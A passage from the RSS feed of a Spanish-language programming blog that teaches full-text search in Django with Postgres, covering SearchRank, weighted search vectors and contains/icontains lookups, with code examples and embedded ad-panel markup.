href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Búsqueda de la palabra &amp;#34;laptop&amp;#34; en amazon&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Search Rank te permite ordenar las búsquedas de los usuarios por relevancia, para que tu usuario encuentre exactamente lo que está buscando primero y luego todo lo demás.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery, SearchRank, SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;days&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;resultado &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;-rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;resultado[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rank&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# 0.0607927&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... ts_rank(to_tsvector(COALESCE(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, )), plainto_tsquery(days)) AS &amp;#34;rank&amp;#34; FROM &amp;#34;videogame_videogame&amp;#34; ORDER BY &amp;#34;rank&amp;#34; DESC&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Search Rank, con ayuda de la función to_tsvector y plainto_tsquery, ordenará nuestros resultados de búsqueda de acuerdo a las coincidencias que encuentre entre el vector y el query y &lt;strong&gt;retornará cada uno de los resultados de nuestra consulta con una propiedad rank que muestra el valor para su respectivo elemento.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;asignar-importancia-por-campo&#34;&gt;Asignar importancia por campo&lt;/h3&gt;&#xA;&lt;p&gt;En una búsqueda, no todos los campos deberían importar igual&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que tienes una base de datos de libros y un modelo Libro con un campo &amp;ldquo;título&amp;rdquo; y un campo &amp;ldquo;descripción&amp;rdquo;. Si un usuario busca un libro, sería sensato asumir que está buscando el título, basado en lo anterior, lo correcto sería devolverle libros que contengan su query en el título.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, puede que el usuario esté buscando algunas palabras que recuerde haber leído en la contraportada, o que esté buscando cualquier cosa que tenga su query, podemos también buscar en el campo &amp;ldquo;descripción&amp;rdquo; pero con una menor valoración, mostrándole primero las coincidencias con el título y después las que coincidan con la descripción.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750290636/coffee-bytes/search-weights-postgres-django_mix86s.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1750290636/coffee-bytes/search-weights-postgres-django_mix86s.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Explicación de la relevancia de acuerdo al campo&#34; width=&#34;1167&#34; height=&#34;483&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Con Posgres es posible lo anterior.&lt;/p&gt;&#xA;&lt;p&gt;Par ello, le asignamos un peso, ponderación, prioridad o como quieras llamarle, en forma de letra, a cada vector de búsqueda, junto con el nombre del campo al que corresponde, y los unimos en uno solo.&lt;/p&gt;&#xA;&lt;p&gt;Podemos elegir entre las letras &amp;ldquo;A&amp;rdquo;, &amp;ldquo;B&amp;rdquo;, &amp;ldquo;C&amp;rdquo; y &amp;ldquo;D&amp;rdquo;. Cada letra tendrá un valor diferente de relevancia en nuestra búsqueda; &amp;ldquo;A&amp;rdquo; para el mayor valor y &amp;ldquo;D&amp;rdquo; para el menor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.search &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuery, SearchRank, SearchVector&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vector &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;titulo&amp;#39;&lt;/span&gt;, weight&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;A&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; SearchVector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;descripcion&amp;#39;&lt;/span&gt;, weight&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;B&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuery(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Science fiction&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Libro&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query))&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Exactamente tienen los siguientes valores:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;D = 0.1&lt;/li&gt;&#xA;&lt;li&gt;C = 0.2&lt;/li&gt;&#xA;&lt;li&gt;B = 0.4&lt;/li&gt;&#xA;&lt;li&gt;A = 1.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Estos valores pueden sobreescribirse para adaptarse a tus necesidades, de acuerdo al tipo de negocio y modelos que uses.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Libro&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;annotate(rank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;SearchRank(vector, query), weights&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#ff9f43&#34;&gt;0.1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.9&lt;/span&gt;])&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(rank__gte&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0.3&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;order_by(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rank&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo de arriba, he reescrito los valores originales y he disminuido los valores de las letras &amp;ldquo;D&amp;rdquo;,&amp;ldquo;C&amp;rdquo;,&amp;ldquo;B&amp;rdquo; para que representen un porcentaje mucho menor, en comparación con la letra &amp;ldquo;A&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;librerias-de-django-para-busquedas-avanzadas&#34;&gt;Librerías de Django para búsquedas avanzadas&lt;/h2&gt;&#xA;&lt;p&gt;Quizás tus necesidades búsqueda son mucho más avanzadas que las que provee el ORM de Django combinado con Postgres. Pero, a menos que estés desarrollando algo que revolucione la industria de la búsqueda, alguien ya ha pasado por el mismo problema. Hay soluciones genéricas, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;Solr y Django-haystack&lt;/a&gt;&#xA;, que te ahorran la escritura de muchísimas lineas de código. Algunos ejemplos son:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://xapian.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Xapian&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://whoosh.readthedocs.io/en/latest/intro.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Whoosh&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-haystack.readthedocs.io/en/master/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django haystack&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/etianen/django-watson&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Django watson&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;¿Qué pasa si el dedo de un usuario resbala por el teclado y escribe &amp;ldquo;parfume&amp;rdquo; en lugar de &amp;ldquo;perfume&amp;rdquo;. Probablemente no querramos que nuestro usuario abandone el sitio porque no encontró ningún &amp;ldquo;parfume&amp;rdquo; en nuestro sitio web. Nuestro sitio web debería de devolverle los resultados que más se parezcan a lo que está buscando. Mira como lo maneja un ecommerce con experiencia:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/images/busquedaLaptopAmazon.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Búsqueda de la palabra &amp;#34;parfume&amp;#34; en amazon.&#34; width=&#34;772&#34; height=&#34;436&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Full text search y búsquedas con Django y Postgres</title>
      <link>https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/</link>
      <pubDate>Thu, 06 May 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/full-text-search-y-busquedas-con-django-y-postgres/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Algunas veces cuando tecleamos nos equivocamos en una letra, podemos repetirla, omitirla o cambiarla por otra. Ese error puede arrojar una serie de resultados diferentes en una búsqueda web, o incluso carecer de resultados. Quizás para un blog no represente una amenaza, pero para un ecommerce puede significar la perdida de una venta, y para aquellas tiendas con un tráfico gigantesco, una búsqueda de texto exitosa, ya sea usando full text search o algo más complejo, en Django u otro framework, puede representar la diferencia entre perdidas o ganancias enormes.&lt;/p&gt;&#xA;&lt;p&gt;Empecemos por las búsquedas más básicas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;contains-e-icontains-con-django-y-postgres&#34;&gt;contains e icontains con Django y Postgres&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django tiene una serie de funciones básicas que te permiten buscar la coincidencia exacta de una cadena de texto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; videogame.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__contains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;NIER&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet []&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...WHERE &amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;::text LIKE %NIER%&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pero esto nos va a excluir las palabras &amp;ldquo;nier&amp;rdquo;, &amp;ldquo;Nier&amp;rdquo; y cualquier otra diferencia causada por mayúsculas o minúsculas. Por lo que nos convendría realizar una búsqueda insensible a estas diferencias. Ahora no importa si el usuario uso mayúsculas 